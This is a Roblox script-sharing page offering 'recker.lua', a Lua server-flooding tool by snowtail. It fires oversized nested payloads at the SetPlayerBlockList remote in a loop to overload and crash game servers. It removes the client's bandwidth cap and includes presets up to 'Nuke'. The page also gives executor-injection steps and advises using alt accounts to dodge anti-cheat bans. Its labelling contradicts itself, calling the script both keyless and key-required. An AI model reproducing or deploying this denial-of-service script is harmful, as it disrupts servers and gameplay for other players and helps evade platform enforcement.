Universal Script – recker.lua open-source-server-recker (Keyless) - Verified script for Universal Roblox
Key RequiredUniversal

Universal Script – recker.lua open-source-server-recker (Keyless)

Universal Scriptsnowtailsnowtail 700 views 146 executesUpdated Oct 19, 2026
Unrated
00
Lua Script•694 lines (23919 chars)
-- ═════════════════════════════════════════════════════════════
-- snowtail spam.lua  v3.1 — safe bandwidth edition
-- SetPlayerBlockList flooder (standalone)
-- ═════════════════════════════════════════════════════════════

local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local LP = Players.LocalPlayer
local SESSION = tostring(math.floor(tick() * 1000)) .. "_" .. tostring(math.random(1000, 9999))

-- ─── theme ──────────────────────────────────────────────────
local Theme = {
    Bg = Color3.fromRGB(245, 245, 250), BgTrans = 0.20,
    Element = Color3.fromRGB(255, 255, 255), ElementTrans = 0.55,
    Border = Color3.fromRGB(210, 210, 220), BorderTrans = 0.5,
    Accent = Color3.fromRGB(90, 130, 240),
    Text = Color3.fromRGB(30, 30, 40), TextDim = Color3.fromRGB(120, 120, 135),
    Red = Color3.fromRGB(255, 95, 86), RedHover = Color3.fromRGB(255, 130, 122),
    Yellow = Color3.fromRGB(255, 189, 46), YellowHover = Color3.fromRGB(255, 210, 100),
    Green = Color3.fromRGB(39, 201, 63), GreenHover = Color3.fromRGB(80, 220, 100),
}
local FONT = Enum.Font.Gotham
local FONTB = Enum.Font.GothamBold
local CORNER_MAIN = 20
local CORNER_ELEMENT = 10

local Instances, Connections = {}, {}
local function track(i) table.insert(Instances, i); return i end
local function conn(c) table.insert(Connections, c); return c end
local function newCorner(p, r) local c = Instance.new("UICorner"); c.CornerRadius = UDim.new(0, r or CORNER_ELEMENT); c.Parent = p; return c end
local function newStroke(p, t)
    local s = Instance.new("UIStroke")
    s.Color = Theme.Border; s.Thickness = t or 1
    s.Transparency = Theme.BorderTrans
    s.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
    s.Parent = p; return s
end
local function smooth(i, p, d)
    return TweenService:Create(i, TweenInfo.new(d or 0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), p)
end

-- ─── spam state ─────────────────────────────────────────────
local Spam = {
    Enabled = false, Running = false, Building = false,
    FireBurst = 1, FrameDelay = 0.1,
    Children = 20000, NestedPerChild = 0, FieldsPerChild = 1, FieldSize = 0,
    RebuildEach = false, FireCount = 0,
    Remote = nil, Cache = nil, Thread = nil, Pad = "",
    SessionStart = nil, NullSince = nil, LastResult = nil,
}

pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge) end)

local function resolveRemote()
    local rrs = game:FindFirstChild("RobloxReplicatedStorage")
    if not rrs then return nil end
    local r = rrs:FindFirstChild("SetPlayerBlockList")
    if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then return r end
    return nil
end
Spam.Remote = resolveRemote()

local function rebuildPad()
    Spam.Pad = Spam.FieldSize > 0 and string.rep("P", Spam.FieldSize) or ""
end
rebuildPad()

local function buildPayload()
    local n = Spam.Children
    local fields = Spam.FieldsPerChild
    local nested = Spam.NestedPerChild
    local pad = Spam.Pad or ""
    local usePad = Spam.FieldSize > 0
    local root = table.create(n)
    for i = 1, n do
        local entry = { id = i, v = i * 2 }
        for k = 1, fields do
            entry["k" .. k] = usePad and pad or (i + k)
        end
        for j = 1, nested do
            entry["n" .. j] = { a = i, b = j }
        end
        root[i] = entry
    end
    return root
end

local function fireN(remote, payload, n)
    for i = 1, n do
        remote:FireServer(payload)
    end
end

local worker
worker = function()
    while Spam.Running do
        if not Spam.Remote then Spam.Remote = resolveRemote() end
        local cache = Spam.Cache
        local remote = Spam.Remote
        if remote and cache then
            local n = Spam.FireBurst
            local ok = pcall(fireN, remote, cache, n)
            if ok then
                Spam.FireCount = Spam.FireCount + n
            else
                Spam.Remote = nil
            end
        end
        if Spam.FrameDelay > 0 then task.wait(Spam.FrameDelay) else RunService.Heartbeat:Wait() end
    end
end

local function ensureCacheThenStart()
    if Spam.Building then return end
    if Spam.Cache then
        Spam.Enabled = true
        if not Spam.Running then
            Spam.Running = true
            Spam.SessionStart = tick()
            Spam.LastResult = nil
            Spam.Thread = task.spawn(worker)
        end
        return
    end
    Spam.Building = true
    Spam.Enabled = true
    task.spawn(function()
        local snapC, snapN, snapF, snapS = Spam.Children, Spam.NestedPerChild, Spam.FieldsPerChild, Spam.FieldSize
        rebuildPad()
        local ok, payload = pcall(buildPayload)
        Spam.Building = false
        if not ok or not payload then Spam.Enabled = false; return end
        if not Spam.Enabled then return end
        if Spam.Children ~= snapC or Spam.NestedPerChild ~= snapN or Spam.FieldsPerChild ~= snapF or Spam.FieldSize ~= snapS then
            ensureCacheThenStart(); return
        end
        Spam.Cache = payload
        if not Spam.Running then
            Spam.Running = true
            Spam.SessionStart = tick()
            Spam.LastResult = nil
            Spam.Thread = task.spawn(worker)
        end
    end)
end

local function stopSpam()
    Spam.Enabled = false
    Spam.Running = false
    Spam.Thread = nil
end

-- ─── gui ────────────────────────────────────────────────────
local W = 300
local H_BASE = 400
local H_ADV = 660

local SG = Instance.new("ScreenGui")
SG.Name = "SnowtailSpam_" .. SESSION
SG.ResetOnSpawn = false
SG.IgnoreGuiInset = true
SG.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SG.DisplayOrder = 1001
SG.Parent = LP:WaitForChild("PlayerGui")
track(SG)

local Frame = Instance.new("Frame")
Frame.Size = UDim2.new(0, W, 0, H_BASE)
Frame.Position = UDim2.new(0.5, -W/2, 0.5, -H_BASE/2)
Frame.BackgroundColor3 = Theme.Bg
Frame.BackgroundTransparency = Theme.BgTrans
Frame.BorderSizePixel = 0
Frame.Active = true
Frame.ClipsDescendants = true
Frame.Parent = SG
track(Frame)
newCorner(Frame, CORNER_MAIN)
newStroke(Frame)

-- header
local Header = Instance.new("Frame")
Header.Size = UDim2.new(1, 0, 0, 44)
Header.BackgroundColor3 = Theme.Bg
Header.BackgroundTransparency = 0.3
Header.BorderSizePixel = 0
Header.Parent = Frame
track(Header)
newCorner(Header, CORNER_MAIN)

local Title = Instance.new("TextLabel")
Title.Size = UDim2.new(1, -100, 1, 0)
Title.Position = UDim2.new(0, 88, 0, 0)
Title.BackgroundTransparency = 1
Title.Text = "spam.lua"
Title.TextColor3 = Theme.Text
Title.Font = FONTB
Title.TextSize = 15
Title.TextXAlignment = Enum.TextXAlignment.Left
Title.Parent = Header
track(Title)

local Dots = Instance.new("Frame")
Dots.Size = UDim2.new(0, 72, 1, 0)
Dots.Position = UDim2.new(0, 16, 0, 0)
Dots.BackgroundTransparency = 1
Dots.Parent = Header
track(Dots)

local function makeDot(x, col, hov)
    local d = Instance.new("TextButton")
    d.Size = UDim2.new(0, 12, 0, 12)
    d.Position = UDim2.new(0, x, 0.5, -6)
    d.BackgroundColor3 = col
    d.BorderSizePixel = 0
    d.Text = ""
    d.AutoButtonColor = false
    d.Parent = Dots
    track(d)
    newCorner(d, 6)
    conn(d.MouseEnter:Connect(function() d.BackgroundColor3 = hov end))
    conn(d.MouseLeave:Connect(function() d.BackgroundColor3 = col end))
    return d
end

local RedDot = makeDot(0, Theme.Red, Theme.RedHover)
local YellowDot = makeDot(20, Theme.Yellow, Theme.YellowHover)
local GreenDot = makeDot(40, Theme.Green, Theme.GreenHover)

-- body
local Body = Instance.new("Frame")
Body.Size = UDim2.new(1, -24, 1, -60)
Body.Position = UDim2.new(0, 12, 0, 52)
Body.BackgroundTransparency = 1
Body.Parent = Frame
track(Body)
local BodyLayout = Instance.new("UIListLayout")
BodyLayout.Padding = UDim.new(0, 8)
BodyLayout.Parent = Body
track(BodyLayout)

-- enable button
local EnableBtn = Instance.new("TextButton")
EnableBtn.Size = UDim2.new(1, 0, 0, 48)
EnableBtn.BackgroundColor3 = Theme.Accent
EnableBtn.BackgroundTransparency = 0.15
EnableBtn.BorderSizePixel = 0
EnableBtn.Text = "ENABLE SPAM"
EnableBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
EnableBtn.Font = FONTB
EnableBtn.TextSize = 14
EnableBtn.AutoButtonColor = false
EnableBtn.Parent = Body
track(EnableBtn)
newCorner(EnableBtn, CORNER_ELEMENT)

conn(EnableBtn.MouseButton1Click:Connect(function()
    if Spam.Enabled then stopSpam() else ensureCacheThenStart() end
end))

-- preset row (label)
local PresetLabel = Instance.new("TextLabel")
PresetLabel.Size = UDim2.new(1, 0, 0, 14)
PresetLabel.BackgroundTransparency = 1
PresetLabel.Text = "PRESETS"
PresetLabel.TextColor3 = Theme.TextDim
PresetLabel.Font = FONTB
PresetLabel.TextSize = 10
PresetLabel.TextXAlignment = Enum.TextXAlignment.Left
PresetLabel.Parent = Body
track(PresetLabel)

local PresetRow = Instance.new("Frame")
PresetRow.Size = UDim2.new(1, 0, 0, 36)
PresetRow.BackgroundTransparency = 1
PresetRow.Parent = Body
track(PresetRow)
local PresetLayout = Instance.new("UIListLayout")
PresetLayout.FillDirection = Enum.FillDirection.Horizontal
PresetLayout.Padding = UDim.new(0, 4)
PresetLayout.Parent = PresetRow
track(PresetLayout)

-- c=children, b=burst, d=delay, f=fieldSize
-- tuned to stay under ~20 MB/s (your original working rate was ~19 MB/s)
local Presets = {
    { name = "Test",  c = 5000,  b = 1, d = 0.2,   f = 0 },
    { name = "Safe",  c = 20000, b = 1, d = 0.1,   f = 0 },
    { name = "Aggr",  c = 40000, b = 1, d = 0.05,  f = 0 },
    { name = "Nuke",  c = 80000, b = 1, d = 0.033, f = 0 },
}

-- slider factory
local function makeSlider(parent, label, minV, maxV, default, onChange, step, fmt)
    step = step or 1
    fmt = fmt or function(v) return tostring(math.floor(v)) end

    local row = Instance.new("Frame")
    row.Size = UDim2.new(1, 0, 0, 52)
    row.BackgroundColor3 = Theme.Element
    row.BackgroundTransparency = Theme.ElementTrans
    row.BorderSizePixel = 0
    row.Parent = parent
    track(row)
    newCorner(row, CORNER_ELEMENT); newStroke(row)

    local lbl = Instance.new("TextLabel")
    lbl.Size = UDim2.new(1, -80, 0, 22)
    lbl.Position = UDim2.new(0, 12, 0, 6)
    lbl.BackgroundTransparency = 1
    lbl.Text = label
    lbl.TextColor3 = Theme.Text
    lbl.Font = FONT; lbl.TextSize = 12
    lbl.TextXAlignment = Enum.TextXAlignment.Left
    lbl.Parent = row
    track(lbl)

    local valLbl = Instance.new("TextLabel")
    valLbl.Size = UDim2.new(0, 70, 0, 22)
    valLbl.Position = UDim2.new(1, -82, 0, 6)
    valLbl.BackgroundTransparency = 1
    valLbl.Text = fmt(default)
    valLbl.TextColor3 = Theme.Accent
    valLbl.Font = FONTB; valLbl.TextSize = 11
    valLbl.TextXAlignment = Enum.TextXAlignment.Right
    valLbl.Parent = row
    track(valLbl)

    local trackBar = Instance.new("Frame")
    trackBar.Size = UDim2.new(1, -24, 0, 4)
    trackBar.Position = UDim2.new(0, 12, 1, -14)
    trackBar.BackgroundColor3 = Theme.Border
    trackBar.BorderSizePixel = 0
    trackBar.Parent = row
    track(trackBar)
    newCorner(trackBar, 2)

    local fill = Instance.new("Frame")
    fill.Size = UDim2.new((default - minV) / (maxV - minV), 0, 1, 0)
    fill.BackgroundColor3 = Theme.Accent
    fill.BorderSizePixel = 0
    fill.Parent = trackBar
    track(fill)
    newCorner(fill, 2)

    local knob = Instance.new("Frame")
    knob.Size = UDim2.new(0, 12, 0, 12)
    knob.Position = UDim2.new((default - minV) / (maxV - minV), -6, 0.5, -6)
    knob.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    knob.BorderSizePixel = 0
    knob.Parent = trackBar
    track(knob)
    newCorner(knob, 6)

    local clickArea = Instance.new("TextButton")
    clickArea.Size = UDim2.new(1, 0, 0, 20)
    clickArea.Position = UDim2.new(0, 0, 1, -20)
    clickArea.BackgroundTransparency = 1
    clickArea.Text = ""
    clickArea.Parent = row
    track(clickArea)

    local curVal = default
    local dragging = false

    local function setFromValue(v, silent)
        curVal = math.clamp(v, minV, maxV)
        if step > 0 then curVal = math.floor(curVal / step + 0.5) * step end
        local pct = (curVal - minV) / (maxV - minV)
        fill.Size = UDim2.new(pct, 0, 1, 0)
        knob.Position = UDim2.new(pct, -6, 0.5, -6)
        valLbl.Text = fmt(curVal)
        if not silent and onChange then onChange(curVal) end
    end

    local function setFromX(x)
        local rel = math.clamp((x - trackBar.AbsolutePosition.X) / trackBar.AbsoluteSize.X, 0, 1)
        setFromValue(minV + rel * (maxV - minV))
    end

    conn(clickArea.MouseButton1Down:Connect(function()
        dragging = true
        setFromX(UserInputService:GetMouseLocation().X)
    end))
    conn(UserInputService.InputChanged:Connect(function(input)
        if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
            setFromX(input.Position.X)
        end
    end))
    conn(UserInputService.InputEnded:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end
    end))

    return {
        Set = function(v, silent) setFromValue(v, silent) end,
        Get = function() return curVal end,
    }
end

-- main sliders
local Sliders = {}
Sliders.Burst = makeSlider(Body, "Fires Per Tick", 1, 30, Spam.FireBurst, function(v)
    Spam.FireBurst = math.floor(v)
end, 1, function(v) return tostring(math.floor(v)) end)

Sliders.Delay = makeSlider(Body, "Frame Delay", 0, 1, Spam.FrameDelay, function(v)
    Spam.FrameDelay = v < 0.005 and 0 or v
end, 0.01, function(v)
    if v < 0.01 then return "MAX" end
    return string.format("%.2fs", v)
end)

Sliders.FieldSize = makeSlider(Body, "Field Size (bytes)", 0, 5000, Spam.FieldSize, function(v)
    Spam.FieldSize = math.floor(v)
    rebuildPad()
    Spam.Cache = nil
    if Spam.Enabled then ensureCacheThenStart() end
end, 50, function(v)
    local n = math.floor(v)
    if n == 0 then return "off" end
    if n >= 1000 then return string.format("%.1fK", n / 1000) end
    return tostring(n)
end)

-- build preset buttons
for _, p in ipairs(Presets) do
    local b = Instance.new("TextButton")
    b.Size = UDim2.new((W - 24 - 12) / 4, 0, 1, 0)
    b.BackgroundColor3 = Theme.Element
    b.BackgroundTransparency = 0.4
    b.BorderSizePixel = 0
    b.Text = p.name
    b.TextColor3 = Theme.Text
    b.Font = FONTB; b.TextSize = 11
    b.AutoButtonColor = false
    b.Parent = PresetRow
    track(b)
    newCorner(b, CORNER_ELEMENT)
    newStroke(b, 1)
    conn(b.MouseEnter:Connect(function() smooth(b, {BackgroundTransparency=0.15}, 0.15):Play() end))
    conn(b.MouseLeave:Connect(function() smooth(b, {BackgroundTransparency=0.4}, 0.15):Play() end))
    conn(b.MouseButton1Click:Connect(function()
        Spam.Children = p.c
        Spam.FireBurst = p.b
        Spam.FrameDelay = p.d
        Spam.FieldSize = p.f
        rebuildPad()
        Sliders.Burst.Set(p.b, true)
        Sliders.Delay.Set(p.d, true)
        Sliders.FieldSize.Set(p.f, true)
        Spam.Cache = nil
        if Spam.Enabled then ensureCacheThenStart() end
    end))
end

-- status row
local StatusRow = Instance.new("Frame")
StatusRow.Size = UDim2.new(1, 0, 0, 28)
StatusRow.BackgroundColor3 = Theme.Element
StatusRow.BackgroundTransparency = Theme.ElementTrans
StatusRow.BorderSizePixel = 0
StatusRow.Parent = Body
track(StatusRow)
newCorner(StatusRow, CORNER_ELEMENT); newStroke(StatusRow)

local StatusLbl = Instance.new("TextLabel")
StatusLbl.Size = UDim2.new(0.45, -6, 1, 0)
StatusLbl.Position = UDim2.new(0, 12, 0, 0)
StatusLbl.BackgroundTransparency = 1
StatusLbl.Text = "idle"
StatusLbl.TextColor3 = Theme.TextDim
StatusLbl.Font = FONT; StatusLbl.TextSize = 10
StatusLbl.TextXAlignment = Enum.TextXAlignment.Left
StatusLbl.Parent = StatusRow
track(StatusLbl)

local RateLbl = Instance.new("TextLabel")
RateLbl.Size = UDim2.new(0.3, 0, 1, 0)
RateLbl.Position = UDim2.new(0.45, 0, 0, 0)
RateLbl.BackgroundTransparency = 1
RateLbl.Text = "0/s"
RateLbl.TextColor3 = Theme.Accent
RateLbl.Font = FONTB; RateLbl.TextSize = 10
RateLbl.TextXAlignment = Enum.TextXAlignment.Center
RateLbl.Parent = StatusRow
track(RateLbl)

local FPSLbl = Instance.new("TextLabel")
FPSLbl.Size = UDim2.new(0.25, -12, 1, 0)
FPSLbl.Position = UDim2.new(0.75, 0, 0, 0)
FPSLbl.BackgroundTransparency = 1
FPSLbl.Text = "60 fps"
FPSLbl.TextColor3 = Theme.Green
FPSLbl.Font = FONTB; FPSLbl.TextSize = 10
FPSLbl.TextXAlignment = Enum.TextXAlignment.Right
FPSLbl.Parent = StatusRow
track(FPSLbl)

-- bandwidth estimate row
local BWRow = Instance.new("Frame")
BWRow.Size = UDim2.new(1, 0, 0, 22)
BWRow.BackgroundColor3 = Theme.Element
BWRow.BackgroundTransparency = 0.7
BWRow.BorderSizePixel = 0
BWRow.Parent = Body
track(BWRow)
newCorner(BWRow, CORNER_ELEMENT); newStroke(BWRow)

local BWLbl = Instance.new("TextLabel")
BWLbl.Size = UDim2.new(1, -20, 1, 0)
BWLbl.Position = UDim2.new(0, 10, 0, 0)
BWLbl.BackgroundTransparency = 1
BWLbl.Text = "est. 0 MB/s · 0 children/s"
BWLbl.TextColor3 = Theme.TextDim
BWLbl.Font = FONT
BWLbl.TextSize = 10
BWLbl.TextXAlignment = Enum.TextXAlignment.Left
BWLbl.Parent = BWRow
track(BWLbl)

-- advanced section
local Advanced = Instance.new("Frame")
Advanced.Size = UDim2.new(1, 0, 0, 0)
Advanced.AutomaticSize = Enum.AutomaticSize.Y
Advanced.BackgroundTransparency = 1
Advanced.Visible = false
Advanced.Parent = Body
track(Advanced)
local AdvLayout = Instance.new("UIListLayout")
AdvLayout.Padding = UDim.new(0, 6)
AdvLayout.Parent = Advanced
track(AdvLayout)

local AdvChildren = makeSlider(Advanced, "Payload Children", 1000, 500000, Spam.Children, function(v)
    Spam.Children = math.floor(v)
    Spam.Cache = nil
    if Spam.Enabled then ensureCacheThenStart() end
end, 1000, function(v) return tostring(math.floor(v)) end)

local AdvFields = makeSlider(Advanced, "Fields Per Child", 0, 10, Spam.FieldsPerChild, function(v)
    Spam.FieldsPerChild = math.floor(v)
    Spam.Cache = nil
    if Spam.Enabled then ensureCacheThenStart() end
end, 1, function(v) return tostring(math.floor(v)) end)

local AdvNested = makeSlider(Advanced, "Nested Per Child", 0, 10, Spam.NestedPerChild, function(v)
    Spam.NestedPerChild = math.floor(v)
    Spam.Cache = nil
    if Spam.Enabled then ensureCacheThenStart() end
end, 1, function(v) return tostring(math.floor(v)) end)

local function refreshEnableBtn()
    if Spam.Enabled then
        EnableBtn.Text = Spam.Building and "BUILDING..." or "STOP SPAM"
        EnableBtn.BackgroundColor3 = Spam.Building and Theme.Yellow or Theme.Red
    else
        EnableBtn.Text = "ENABLE SPAM"
        EnableBtn.BackgroundColor3 = Theme.Accent
    end
end

-- live metrics: 1 Hz
local fpsFrames = 0
conn(RunService.RenderStepped:Connect(function() fpsFrames = fpsFrames + 1 end))

-- rough payload byte estimate (server-side serialized size)
local function estPayloadBytes()
    local perChild = 16
    if Spam.FieldSize > 0 then
        perChild = perChild + Spam.FieldSize * Spam.FieldsPerChild
    else
        perChild = perChild + 8 * Spam.FieldsPerChild
    end
    perChild = perChild + Spam.NestedPerChild * 24
    return math.floor(perChild * 1.3 * Spam.Children)
end

local lastCount, lastTime = 0, tick()
conn(RunService.Heartbeat:Connect(function()
    local now = tick()
    if now - lastTime >= 1 then
        local fps = math.floor(fpsFrames / (now - lastTime))
        local rate = math.floor((Spam.FireCount - lastCount) / (now - lastTime))
        fpsFrames = 0
        lastCount = Spam.FireCount
        lastTime = now

        FPSLbl.Text = fps .. " fps"
        FPSLbl.TextColor3 = fps >= 45 and Theme.Green or (fps >= 25 and Theme.Yellow or Theme.Red)
        RateLbl.Text = rate .. "/s"

        if Spam.Building then
            StatusLbl.Text = "building..."
            StatusLbl.TextColor3 = Theme.Yellow
        elseif Spam.Enabled then
            if not Spam.Remote then
                StatusLbl.Text = "no remote"
                StatusLbl.TextColor3 = Theme.Red
            else
                local elapsed = Spam.SessionStart and (now - Spam.SessionStart) or 0
                StatusLbl.Text = string.format("%.0fs · %d fired", elapsed, Spam.FireCount)
                StatusLbl.TextColor3 = Theme.Green
            end
        else
            if Spam.LastResult then
                StatusLbl.Text = Spam.LastResult
                StatusLbl.TextColor3 = Theme.Yellow
            else
                StatusLbl.Text = "idle"
                StatusLbl.TextColor3 = Theme.TextDim
            end
        end

        -- auto-stop if likely kicked (character null for >5s while enabled)
        if Spam.Enabled and not LP.Character then
            if not Spam.NullSince then
                Spam.NullSince = now
            elseif now - Spam.NullSince > 5 then
                stopSpam()
                Spam.LastResult = string.format("stopped @ %.1fs (possible kick)", now - (Spam.SessionStart or now))
                Spam.NullSince = nil
            end
        else
            Spam.NullSince = nil
        end

        local payloadBytes = estPayloadBytes()
        local mbPerSec = (payloadBytes * rate) / (1024 * 1024)
        local childrenPerSec = Spam.Children * rate
        if mbPerSec >= 1024 then
            BWLbl.Text = string.format("est. %.2f GB/s · %.1fM children/s", mbPerSec / 1024, childrenPerSec / 1e6)
        else
            BWLbl.Text = string.format("est. %.1f MB/s · %.1fM children/s", mbPerSec, childrenPerSec / 1e6)
        end
        BWLbl.TextColor3 = mbPerSec > 500 and Theme.Red or (mbPerSec > 100 and Theme.Yellow or Theme.TextDim)

        refreshEnableBtn()
    end
end))

-- ─── window controls ────────────────────────────────────────
local minimized = false

do
    local dragging, dragStart, startPos
    conn(Header.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            for _, d in ipairs({RedDot, YellowDot, GreenDot}) do
                local ap, as = d.AbsolutePosition, d.AbsoluteSize
                if input.Position.X >= ap.X and input.Position.X <= ap.X + as.X
                   and input.Position.Y >= ap.Y and input.Position.Y <= ap.Y + as.Y then
                    return
                end
            end
            dragging = true; dragStart = input.Position; startPos = Frame.Position
        end
    end))
    conn(Header.InputEnded:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = false
        end
    end))
    conn(UserInputService.InputChanged:Connect(function(input)
        if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
            local d = input.Position - dragStart
            Frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y)
        end
    end))
end

conn(YellowDot.MouseButton1Click:Connect(function()
    minimized = not minimized
    Body.Visible = not minimized
    local h = minimized and 44 or (Advanced.Visible and H_ADV or H_BASE)
    smooth(Frame, {Size = UDim2.new(0, W, 0, h)}, 0.25):Play()
end))

conn(GreenDot.MouseButton1Click:Connect(function()
    if minimized then return end
    Advanced.Visible = not Advanced.Visible
    local h = Advanced.Visible and H_ADV or H_BASE
    smooth(Frame, {Size = UDim2.new(0, W, 0, h)}, 0.25):Play()
end))

local function unload()
    stopSpam()
    for _, c in ipairs(Connections) do pcall(function() c:Disconnect() end) end
    for _, i in ipairs(Instances) do pcall(function() i:Destroy() end) end
    pcall(function() SG:Destroy() end)
    if getgenv().SnowtailSpamUnload then getgenv().SnowtailSpamUnload = nil end
end
getgenv().SnowtailSpamUnload = unload
conn(RedDot.MouseButton1Click:Connect(unload))

How to Execute Universal Script – recker.lua open-source-server-recker (Keyless)

Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.

Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.

Step 3: Join Experience: Launch Roblox and join Universal Script.

Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.

Created By

snowtail
snowtail
Script Creator
View Author Profile

Features & Information

Execute Universal Script – recker.lua open-source-server-recker (Keyless). Key system required, created by snowtail, updated Oct 19, 2026. Tested and working on supported executors.

Script Changelog (1)

@snowtailOct 19, 2026

Create script

Community Comments (1)

*1_*1_Oct 20, 2026

doesnt work

Frequently Asked Questions

How do I execute Universal Script – recker.lua open-source-server-recker (Keyless) in Roblox?

To run Universal Script – recker.lua open-source-server-recker (Keyless), copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.

Is Universal Script – recker.lua open-source-server-recker (Keyless) keyless or does it require an access key?

Universal Script – recker.lua open-source-server-recker (Keyless) requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.

Is Universal Script – recker.lua open-source-server-recker (Keyless) currently safe and working?

This script is active and operational. Always test scripts using a secondary (alt) Roblox account to safeguard your main profile against anti-cheat bans.